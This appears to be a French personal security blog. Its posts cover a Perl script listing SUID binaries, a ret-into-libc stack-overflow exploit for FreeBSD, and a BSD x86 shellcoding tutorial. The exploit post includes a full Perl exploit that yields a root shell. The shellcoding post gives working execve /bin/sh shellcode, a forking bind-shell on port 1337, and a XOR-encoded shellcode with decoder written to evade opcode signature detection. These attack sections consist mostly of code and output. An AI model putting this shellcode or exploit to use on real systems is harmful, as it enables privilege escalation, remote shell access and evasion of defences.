Lister les programmes suid.

Voici un petit script basique, permettant de lister les permissions des fichiers sur GNU/Linux (et sans doute *BSD). Le programme prends en paramètre les dossiers dans lequel rechercher récursivement, si aucun n’est donné, celui-ci recherche dans le $PATH.

#!/usr/bin/perl

use strict;
use warnings;
use Fcntl ':mode';

my @dirs = ();

if(!@ARGV) {
    @dirs = split(/:/, $ENV{PATH});
} else {
    @dirs = @ARGV;
}

foreach(@dirs) {
    find_files($_);
}

sub find_files {
    my $dir = shift;
    $dir .= "/" if($dir !~ m/\/$/);

    foreach(<$dir*>) {
        if(my @stats = stat $_) {

            if(S_ISREG($stats[2])) {
                print  "$_ ->";
                print  "  UID=$stats[4]";
                print  ", GID=$stats[5]";
                print  ", SUID=YES" if($stats[2] & S_ISUID);
                printf ", MODE=%04o", S_IMODE($stats[2]);
                print  "\n";
            } elsif(S_ISDIR($stats[2]) && !(-l $_)) {
                find_files($_);
            }
        }
    }
}

 

Voici un exemple permettant de lister tous les programmes SUID root :

[tosh@etherhost ~]$ list_perms | grep SUID=YES | grep UID=0
/usr/bin/chage ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/chfn ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/chsh ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/crontab ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/expiry ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/gpasswd ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/ksu ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/newgrp ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/passwd ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/pkexec ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/rcp ->  UID=0, GID=0, SUID=YES, MODE=4775
/usr/bin/rlogin ->  UID=0, GID=0, SUID=YES, MODE=4775
/usr/bin/rsh ->  UID=0, GID=0, SUID=YES, MODE=4775
/usr/bin/sg ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/X ->  UID=0, GID=0, SUID=YES, MODE=4755
/usr/bin/Xorg ->  UID=0, GID=0, SUID=YES, MODE=4755
/bin/fusermount ->  UID=0, GID=0, SUID=YES, MODE=4755
/bin/mount ->  UID=0, GID=0, SUID=YES, MODE=4755
/bin/ping ->  UID=0, GID=0, SUID=YES, MODE=4755
/bin/ping6 ->  UID=0, GID=0, SUID=YES, MODE=4755
/bin/su ->  UID=0, GID=0, SUID=YES, MODE=4555
/bin/traceroute ->  UID=0, GID=0, SUID=YES, MODE=4555
/bin/traceroute6 ->  UID=0, GID=0, SUID=YES, MODE=4755
/bin/umount ->  UID=0, GID=0, SUID=YES, MODE=4755
/sbin/mount.cifs ->  UID=0, GID=0, SUID=YES, MODE=6755
/sbin/unix_chkpwd ->  UID=0, GID=0, SUID=YES, MODE=6755
Publié dans BSD, Linux, programmation, sécurité | Marqué avec , , | Laisser un commentaire

Ret into libc

Ret into libc.

Dans cet article, je vais décrire brièvement comment exploiter un programme en utilisant la méthode de ret into libc. Ceci a été testé uniquement sur FreeBSD 8.1, sans ASLR, et sans SSP d’activé.

Prenons le programme vulnérable suivant :

          #include <stdio.h>
          #include <string.h>

          void foo(char *buff)
          {
          char buffer[100];
          strcpy(buffer, buff);
          }
          int main(int argc, char **argv)
          {
          if(argc != 2)
          {
          printf("Usage : %s \n", argv[0]);
          return 0;
          }
          foo(argv[1]);
          return 0;
          }

Nous avons donc un stack overflow dans la fonction foo. Nous savons que nous écrasons EBP après 100 caractères copiés, et EIP après 104 caractères.

Pour être sûr, testons :

          (gdb) r `perl -e 'print "A"x100 . "BBBB" . "CCCC";'`
          Program received signal SIGSEGV, Segmentation fault.
          0x43434343 in ?? ()
          (gdb) i r ebp eip
          ebp            0x42424242     0x42424242
          eip            0x43434343     0x43434343

Nous avons donc bien écrasé EBP avec les ‘B’ et EIP avec les ‘C’. Le principe du ret into libc, est qu’au lieu de jumper sur un shellcode en STACK ou présent dans une variable d’environnement, nous jumpons sur une fonction de la bibliothèque C.

Le plus simple, étant de sauter sur la fonction system, nous pourrons alors exécuter la commande de notre choix. Pour se faire, il faudra écraser EIP, avec l’addresse de la fonction system située dans le programme vulnérable, en lui transmettant l’addresse où sera situé notre chaine à exécuter.

En connaissant un peu comment fonctionne les appels de fonctions en C, nous savons que system() ira chercher l’addresse de la chaine 4 octets plus haut sur la pile au moment de l’appel, le sommet de la pile étant EIP empilé par l’instruction CALL.

Une manière propre de faire, étant de placer l’addresse de exit entre l’addresse de system() (Qui écrase EIP), et l’addresse de notre commande. Ainsi, le programme fermera proprement au retour de la fonction system. (Car system jumpera sur l’adresse située sur le sommet de la pile, pensant qu’elle a été appellée grâce à l’instruction CALL).

Notre stack ressemblera donc à ceci :

          [     BUFFER     ]
          [     BUFFER     ]
          [      ...       ]
          [     BUFFER     ]
          [ Adresse system ]
          [  Adresse exit  ]
          [Adresse commande]
          [   Commande     ]
          [   Commande     ]
          [   Commande     ]

Pourquoi mettre la chaîne de l’argument de system APRÈS les adresses, et pas dans le buffer ? Car cette chaîne a besoin du caractère final ‘\0′, hors si on le met au début, strcpy arrêtera la copie, et nous ne pourrons pas exploiter notre programme.

Le risque, étant d’écraser des données utiles à l’exploitation. Récupérons les adresses de system et exit :

          [tosh@sys-tosh /usr/home/tosh/Desktop]$ gdb vuln
          GNU gdb 6.1.1 [FreeBSD]
          Copyright 2004 Free Software Foundation, Inc.
          GDB is free software, covered by the GNU General Public License, and you are
          welcome to change it and/or distribute copies of it under certain conditions.
          Type "show copying" to see the conditions.
          There is absolutely no warranty for GDB.  Type "show warranty" for details.
          This GDB was configured as "i386-marcel-freebsd"...(no debugging symbols found)...
          (gdb) b main
          Breakpoint 1 at 0x8048470
          (gdb) r
          Breakpoint 1, 0x08048470 in main ()
          (gdb) x exit
          0x28101920 :  0x53e58955
          (gdb) x system
          0x280ad870 :  0x0001b855

Nous avons donc :

          system : 0x280ad870
          exit   : 0x28101920

Le plus dur, reste de trouver l’adresse de la chaine.

Exécutons le programme, et tentons de trouver le début de la chaîne :

          (gdb) r `perl -e 'print "A"x108 . "BBBB";'`
          Program received signal SIGSEGV, Segmentation fault.
          0x41414141 in ?? ()
          (gdb) i r $esp
          esp            0xbfbfe9c0     0xbfbfe9c0
          (gdb) x/s $esp
          0xbfbfe9c0:    "BBBB"

Nous avons notre chaîne ! Avec le shéma de la stack précédente, nous savons que notre chaine sera située 8 octets plus loin dans la stack, soit a l’adresse 0xbfbfe9c8

Nous pouvons donc écrire notre exploit :

          #!/usr/bin/perl
          use strict;

          my $system_addr = "\x70\xd8\x0a\x28";
          my $exit_addr = "\x20\x19\x10\x28";
          my $cmd_addr = "\xc8\xe9\xbf\xbf";
          my $cmd = "/bin/sh";

          my $buff = ("A"x104) . ($system_addr). $exit_addr. $cmd_addr.$cmd;

          print "[*] Inj3ct code...\n";

          exec("./vuln", $buff) || die("Can't exec file\n");

Comme vous le savez, sur un système LITTLE_ENDIAN, il faut écrire les adresses « à l’envers », les octets de poids faibles étant à gauche, et ceux de poids fort à droite.

Lançons l’exploit :

          [tosh@sys-tosh /usr/home/tosh/Desktop]$ perl test.pl
          [*] Inj3ct code...
          # id
          uid=1001(tosh) gid=1001(tosh) euid=0(root) groups=1001(tosh),0(wheel)
          #

Et voilà .

Publié dans BSD, programmation, sécurité | Marqué avec , | Laisser un commentaire

BSD shellcoding

BSD Shellcoding !

Dans cet article, j’expliquerais comment créer des shellcodes sur les systèmes *BSD, pour les architectures x86. Je détaillerais surtout le fonctionnement des syscall et comment les utiliser, car c’est à peu prêt la seule chose qui diffère comparé à un système Linux.

Les outils que j’utilise sont : nasm, ld, objdump et shelltest, un programme de ma conception, permettant l’automatisation de la création de shellcodes.

Les appels systèmes

Bien, donc comme je le disais, les appels systèmes sont légèrement différents sous BSD, car les paramètres sont envoyés sur la stack, et non dans les registres.

Les numéros des appels systèmes se trouvent dans /usr/src/sys/kern/syscalls.master. Le numéro est à mettre dans eax, et les paramètres sur la pile, dans l’ordre inverse de leurs déclaration.

Il faut aussi rajouter un padding de 4 octets, qui est destiné généralement à EIP.

Par exemple, voici comment afficher un caractère à l’écran :

          section .text
          global _start

          _start:
          xor eax, eax          ; mise à 0 du registre eax
          push 'AAAA'           ; On met le caractère à afficher sur la pile
          mov ebx, esp          ; adresse du caractère à afficher
          mov al, 1             ; On empile la taille
          push eax
          push ebx              ; On empile le buffer
          push eax              ; On empile 1 (STDOUT)
          push eax              ; PADDING
          mov al, 4             ; syscall sys_write
          int 0x80              ; appel système

          mov al, 1             ; exit
          int 0x80

Testons :

          [tosh@localhost /usr/home/tosh]$ nasm -f elf test.s && shelltest test.o
          Len : 23 bytes
          Shellcode : \x31\xc0\x68\x41\x41\x41\x41\x89\xe3\xb0\x01\x50\x53\x50\x50\xb0\x04\xcd\x80\xb0\x01\xcd\x80
          A[tosh@localhost /usr/home/tosh]$

Pas trop mal, non ?

Exécuter un shell

Afficher un caractère c’est bien, mais exécuter un shell serait mieux, non?

D’après le fichier syscalls.master, le syscall execve est le 59. Il prend trois arguments, le nom du fichier à exécuter (/bin/sh), les arguments du programme et l’environnement. Le dernier sera mit à NULL.

Voici ce que ça donne :

          section .text
          global _start

          _start:
          xor eax, eax
          push eax          ; nul byte
          push '//sh'
          push '/bin'       ; On stock la chaine sur la pile

          mov ebx, esp      ; Pointeur sur '/bin//sh'
          push eax          ; argv[1] = NULL
          push ebx          ; argv[0] = '/bin//sh'
          mov ecx, esp      ; ecx = argv
          push eax          ; Empile env (NULL)
          push ecx          ; Empile argv
          push ebx          ; Empile '/bin//sh'
          mov al, 59        ; Appel system execve()
          push eax          ; PADDING
          int 0x80

Bon bien sûr ici je m’embête à remplir argv, ce qui n’est à priori pas nécessaire.

Testons :

          [tosh@localhost /usr/home/tosh]$ nasm -f elf test.s && shelltest test.o
          Len : 27 bytes
          Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0
          \x3b\x50\xcd\x80
          $

Parfait, nous avons notre shell !

Shellcodes & sockets

Bien, voyons un peu comment fonctionnent les appels systèmes liés aux sockets maintenant, en vue de faire par exemple un bindshell.

En regardant un peu dans syscalls.master, on remarque que presque toutes les primitives C tel que connect(), accept(), listen(), trouvent leurs équivalents dans les appels systèmes.

C’est je trouve plus simple que sur Linux, où il n’y a qu’un seul appel à socket, et dont le fonctionnement dépends du paramètre qu’on lui donne.

On retrouve ici une correspondance C -> assembleur, ce qui facilite la tâche.

Bien, pour un bindport, il faut donc effectuer les appels systèmes suivants : socket, bind, listen, accept, dup2, execve.

On peut aussi éventuellement faire un fork après le accept, pour accepter plusieurs connexions à la fois, et éviter que le shellcode se termine lorsque l’on quitte le shell.

Allons-y !

J’ai commenté au maximum le code, pour l’expliquer :

          section .text
          global _start

          _start:
          xor eax, eax
          push eax          ; protocol
          inc eax
          push eax          ; SOCK_STREAM
          inc eax
          push eax          ; AF_INET
          push eax          ; PADDING
          mov al, 97        ; socket(AF_INET, SOCK_STREAM, 0)
          int 0x80

          mov esi, eax      ; Sauvegarde du fd socket dans esi

          xor eax, eax      ; Construction d'une sockaddr
          push eax
          push word 0x3905  ; Port 1337
          push word 0x0201
          mov ecx, esp      ; Pointeur sur sockaddr

          push byte 16      ; sizeof(sockaddr)
          push ecx          ; sockaddr*
          push esi          ; sock
          push eax          ; PADDING
          mov al, 104       ; bind(sock, sockaddr*, sizeof(sockaddr))
          int 0x80

          xor eax, eax
          mov al, 5
          push eax
          push esi
          push eax
          mov al, 106       ; listen(sock, 5)
          int 0x80

          .ACCEPT:
          xor eax, eax
          push eax
          push eax
          push esi
          push eax
          mov al, 30        ; accept(sock, 0, 0)
          int 0x80

          mov edi, eax

          xor eax, eax
          push eax
          mov al, 2         ; fork()
          int 0x80

          or eax, eax       ; le processus fils retourne sur le accept()
          jz .ACCEPT

          xor ecx, ecx      ; dup2 STDERR, STDIN, STDOUT
          .L:
          push ecx
          push edi
          xor eax, eax
          mov al, 90        ; dup2(sock, ecx)
          push eax
          int 0x80
          inc cl
          cmp cl, 3
          jne .L

          xor eax, eax
          push eax          ; nul byte
          push '//sh'
          push '/bin'       ; On stock la chaine sur la pile

          mov ebx, esp      ; Pointeur sur '/bin//sh'
          push eax          ; argv[1] = NULL
          push ebx          ; argv[0] = '/bin//sh'
          mov ecx, esp      ; ecx = argv
          push eax          ; Empile env (NULL)
          push ecx          ; Empile argv
          push ebx          ; Empile '/bin//sh'
          mov al, 59        ; Appel system execve()
          push eax          ; PADDING
          int 0x80

          jmp .ACCEPT       ; On retourne sur le accept()

Testons :

          [tosh@localhost /usr/home/tosh]$ shelltest test
          Len : 120 bytes
          Shellcode : \x31\xc0\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc6\x31\xc0\x50\x66\x68\x05\x39\x66
          \x68\x01\x02\x89\xe1\x6a\x10\x51\x56\x50\xb0\x68\xcd\x80\x31\xc0\xb0\x05\x50\x56\x50\xb0\x6a\xcd\x80
          \x31\xc0\x50\x50\x56\x50\xb0\x1e\xcd\x80\x89\xc7\x31\xc0\x50\xb0\x02\xcd\x80\x09\xc0\x74\xe9\x31\xc9
          \x51\x57\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68
          \x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80\xe9\xb7\xff\xff\xff

Nous pouvons maintenant nous connecter sur le port 1337 avec ncat, et quitter le shell ne termine pas le shellcode.

Bon, bien sûr, la taille peut être optimisé ici. De plus, ici ce n’est pas super propre, car si y’a de nombreuses connexions sur le shellcode, il finira par planter, étant donné que je ne nettoie pas la pile à chaque appel à execve. Mais bon, pour un shellcode ça ira bien comme ça…

Encoder un shellcode

Bien, je vais maintenant montrer comment encoder simplement un shellcode, en vue de passer certaines protections, comme par exemple la reconnaissance des opcodes « \xcd\x80″ (appel système) ou « /bin//sh ».

Le plus simple à implémenter, est un cryptage XOR, avec une clef d’un octet.

Le shellcode devra être décodé par une routine, avant d’être exécuté. Il aura donc cette forme :

          [ Decoder   ]
          [ Shellcode ]

Pour le decoder, le plus dur va être de déterminer l’adresse exacte du shellcode, car il n’y a aucuns moyens de le déterminer à l’avance. Pour se faire, nous utiliserons les instructions jmp shellcode, call decoder, pop. Il faudra aussi qu’il sache où le shellcode se termine, j’utiliserais un octet 0×90 que je mettrais à la fin du shellcode pour savoir quand s’arrêter.

Bien, commençons par prendre un shellcode, et le crypter avec une clef quelquonque (Il ne faut pas qu’il y ai de 0×90 ni de 0×00 dans les opcodes). On va reprendre le shellcode exécutant un shell, il ira très bien.

Voici le programme que j’ai utilisé pour le crypter avec la clef 0xcc :

          #include <stdio.h>

          int main(void)
          {
          char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1
          \x50\x51\x53\xb0\x3b\x50\xcd\x80";
          int i;

          for(i = 0; i < sizeof(shellcode)-1; i++)
          {
          printf(",0x%.2x", (unsigned char)shellcode[i] ^ 0xcc);
          }
          printf("\n");
          return 0;
          }

Ce qui nous donne :

          ,0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,
          0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c

Codons maintenant le decoder :

          section .text
          global _start

          _start:
          jmp short CALL          ; On saute sur le CALL
          RET:
          pop esi                 ; On met dans esi l'adresse du shellcode
          LOOP:
          cmp byte[esi], 0x90     ; Est-on arrivé à la fin ?
          je SHELLCODE            ; Si oui, le shellcode est decrypté, on peut jmp dessus
          xor byte[esi], 0xcc     ; Sinon, on décrypte l'octet courant avec la clef 0xcc
          inc esi
          jmp LOOP

          CALL:
          call RET                ; call empile la prochaine instruction, ici notre shellcode
          SHELLCODE:                 ; Notre shellcode crypté
          db 0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,
          0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c
          db 0x90

Testons le :

          [tosh@localhost /usr/home/tosh]$ shelltest test
          Len : 50 bytes
          Shellcode : \xeb\x0f\x5e\x80\x3e\x90\x74\x0e\x80\x36\xcc\x46\xe9\xf2\xff\xff\xff\xe8\xec\xff\xff\xff
          \xfd\x0c\x9c\xa4\xe3\xe3\xbf\xa4\xa4\xe3\xae\xa5\xa2\x45\x2f\x9c\x9f\x45\x2d\x9c\x9d\x9f\x7c\xf7\x9c
          \x01\x4c\x90
          $

Parfait, nous avons encore notre shell !

Bien sûr, pour que celà fonctionne, il faut que la zone où est injecté le shellcode soit +rwx, ce qui devient rare de nos jours…

Voilà, je vais m’arrêter là, peut être que j’étofferais cet article avec le temps, le monde du shellcoding est tellement vaste et intéressant, qu’il y a encore de nombreuses choses à dire.

Good programming !

Publié dans BSD, programmation, sécurité | Marqué avec , , | Un commentaire

Welcome

Voilà, mon blog est ouvert. Il reste pas mal de choses à régler encore, mais vous pourrez me lire prochainement :) .

Publié dans news | Marqué avec , | Laisser un commentaire